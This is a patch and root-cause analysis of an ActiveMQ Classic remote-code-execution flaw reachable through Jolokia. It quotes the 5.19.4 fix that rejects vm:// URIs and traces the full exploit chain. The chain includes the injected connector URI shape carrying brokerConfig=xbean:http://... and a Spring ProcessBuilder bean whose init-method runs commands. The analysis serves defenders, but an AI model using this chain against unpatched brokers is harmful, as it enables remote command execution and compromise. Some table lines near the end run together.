By the time ActiveMQ determines that the XML has no valid BrokerService, attacker-controlled Spring beans may already have executed.
The relevant diff was reviewed with:
git diff activemq-5.18.6..activemq-5.19.4
The security-relevant change is in:
activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
In 5.18.6, addNetworkConnector() directly forwarded the string:
public String addNetworkConnector(String discoveryAddress) throws Exception {
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
...
connector.start();
return connector.getName();
}
In 5.19.4, validation was added before calling BrokerService:
public String addNetworkConnector(String discoveryAddress) throws Exception {
+ // Verify VM transport is not used
+ validateAllowedUrl(discoveryAddress);
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
The same validation was added to addConnector():
public String addConnector(String discoveryAddress) throws Exception {
+ // Verify VM transport is not used
+ validateAllowedUrl(discoveryAddress);
TransportConnector connector = brokerService.addConnector(discoveryAddress);
The validator rejects vm transport schemes:
private static void validateAllowedUrl(String uriString) throws URISyntaxException {
validateAllowedUri(new URI(uriString), 0);
}
// Validate the URI does not contain VM transport
private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException {
// Don't allow more than 5 nested URIs to prevent blowing the stack
if (depth > 5) {
throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs");
}
// First check the main URI scheme
validateAllowedScheme(uri.getScheme());
// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
URISupport.CompositeData data = URISupport.parseComposite(uri);
depth++;
for (URI component : data.getComponents()) {
if (URISupport.isCompositeURI(uri)) {
validateAllowedUri(component, depth);
} else {
validateAllowedScheme(uri.getScheme());
}
}
}
}
// We don't allow VM transport scheme to be used
private static void validateAllowedScheme(String scheme) {
if (scheme.equals("vm")) {
throw new IllegalArgumentException("VM scheme is not allowed");
}
}
The patched execution path becomes:
Jolokia exec
-> BrokerView.addNetworkConnector(String)
-> validateAllowedUrl(String)
-> validateAllowedUri(URI)
-> validateAllowedScheme("vm")
-> IllegalArgumentException("VM scheme is not allowed")
This blocks the exploit before the request reaches:
BrokerService.addNetworkConnector()
DiscoveryNetworkConnector.start()
TransportFactory.connect()
VMTransportFactory.doCompositeConnect()
BrokerFactory.createBroker()
XBeanBrokerFactory.createApplicationContext()
ResourceXmlApplicationContext.refresh()
The patch does not remove VM transport support globally. It restricts use of vm:// through the JMX-facing BrokerView connector creation methods. Internal or trusted code paths that use VM transport still exist.
No security-relevant change was made to VMTransportFactory.doCompositeConnect() between 5.18.6 and 5.19.4. The brokerConfig behavior remains:
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);
No security-relevant change was made to XBeanBrokerFactory.createApplicationContext() in this diff. Remote URL resources and Spring ResourceXmlApplicationContext behavior remain available for trusted broker configuration loading.
BrokerFactory changed from a raw FactoryFinder to a typed FactoryFinder<BrokerFactoryHandler>:
- private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
- new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
+ private static final FactoryFinder<BrokerFactoryHandler> BROKER_FACTORY_HANDLER_FINDER
+ = new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
+ BrokerFactoryHandler.class, null);
This is type-safety cleanup, not the RCE mitigation. The scheme-based dispatch to XBeanBrokerFactory remains.
BrokerService gained isAutoStart() checks for connector startup in some paths:
- connector.start();
+ if(connector.isAutoStart()) {
+ connector.start();
+ }
This is not the primary fix for the Jolokia-to-RCE path. The primary mitigation is the pre-dispatch rejection of vm:// in BrokerView.
Patch behavior summary:
BrokerView.addNetworkConnector() accepts static:(vm://...?brokerConfig=xbean:http://...) and passes it downstream.BrokerView.addNetworkConnector() validates the supplied URI before connector creation and rejects nested vm:// usage.VMTransportFactory can consume attacker-controlled brokerConfig reached from the JMX path.VMTransportFactory still supports brokerConfig, but the exposed JMX path is blocked before VM transport resolution.The exact vulnerable code path in ActiveMQ Classic 5.18.6 is:
HTTP POST /api/jolokia/
-> Jolokia exec operation
-> org.apache.activemq:type=Broker,brokerName=<name>
-> BrokerView.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(String)
-> BrokerService.addNetworkConnector(URI)
-> DiscoveryNetworkConnector.setUri(URI)
-> DiscoveryAgentFactory.createDiscoveryAgent(URI)
-> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI)
-> BrokerView.addNetworkConnector(): connector.start()
-> DiscoveryNetworkConnector.handleStart()
-> SimpleDiscoveryAgent.start()
-> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
-> TransportFactory.connect(URI)
-> VMTransportFactory.doConnect(URI)
-> VMTransportFactory.doCompositeConnect(URI)
-> BrokerFactory.createBroker(URI)
-> XBeanBrokerFactory.createBroker(URI)
-> XBeanBrokerFactory.createApplicationContext(String)
-> Utils.resourceFromString(String)
-> new ResourceXmlApplicationContext(Resource)
-> XmlBeanDefinitionReader.loadBeanDefinitions(Resource)
-> AbstractApplicationContext.refresh()
-> DefaultListableBeanFactory.preInstantiateSingletons()
-> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod()
-> ProcessBuilder.start()
Exploitation is possible because ActiveMQ exposes a management operation that accepts a connector URI, but the downstream transport implementation can interpret that URI as broker creation configuration. The brokerConfig parameter crosses from transport connection logic into broker factory logic. With an xbean: value, it crosses again into Spring XML processing.
The Spring execution primitive is not a separate deserialization bug. It is normal Spring lifecycle behavior: a non-lazy singleton bean is instantiated during context refresh, and its configured init-method is invoked. A java.lang.ProcessBuilder bean with init-method="start" therefore executes a process during application context initialization.
The validation failure is an ordering flaw. ActiveMQ validates whether the XBean configuration contains a usable BrokerService only after ResourceXmlApplicationContext has already loaded the XML and initialized singleton beans. Rejection of the broker configuration after refresh does not undo side effects from bean lifecycle methods.
The 5.19.4 patch mitigates this specific path by adding URI validation in BrokerView before connector creation and rejecting vm:// transport usage from the JMX management surface. The patch blocks the exposed path to VMTransportFactory.doCompositeConnect(); it does not remove brokerConfig, xbean: support, or Spring XBean loading from trusted internal configuration paths.
| Component | Role |
|---|
| Jolokia | HTTP-to-JMX bridge |
| BrokerView | Exposed management MBean |
| VMTransportFactory | Parses vm:// transport URI |
| BrokerFactory | Creates broker instance |
| XBeanBrokerFactory | Loads Spring xbean configuration |
| ResourceXmlApplicationContext | Loads remote XML |
| XmlBeanDefinitionReader | Parses Spring bean definitions |
| Spring BeanFactory | Instantiates singleton beans |
| ProcessBuilder | Executes operating system commands |
| Component | Function |
|---|
| Jolokia | Exposes JMX operations over HTTP |
| BrokerView | Management MBean interface |
| VMTransportFactory | Processes vm:// transport URIs |
| BrokerFactory | Dynamically creates brokers |
| XBeanBrokerFactory | Loads Spring xbean configurations |
| Spring Context Loader | Parses and instantiates XML bean definitions |
| ProcessBuilder | Executes operating system commands |
| Feature | Abuse |
|---|
addNetworkConnector() | Accept attacker-controlled URI |
vm:// transport | Trigger dynamic broker creation |
brokerConfig= | Load arbitrary broker configuration |
xbean: | Invoke Spring XML loader |
| Remote HTTP URL | Fetch attacker-controlled XML |
| Impact | Description |
|---|
| Remote Code Execution | Arbitrary command execution |
| Container Compromise | Full compromise of the ActiveMQ container |
| Credential Theft | Access to broker credentials and secrets |
| Lateral Movement | Pivoting to adjacent systems |
| Persistence | Creation of malicious network connectors |
| Data Exposure | Access to broker messages and queues |
META-INF/services/org/apache/activemq/broker/<scheme>XBeanBrokerFactory: handles xbean: broker configuration URIs and creates a Spring/XBean application context.ResourceXmlApplicationContext: loads the XML resource and performs Spring bean factory refresh, including eager singleton creation.BrokerService only after Spring has already initialized the context.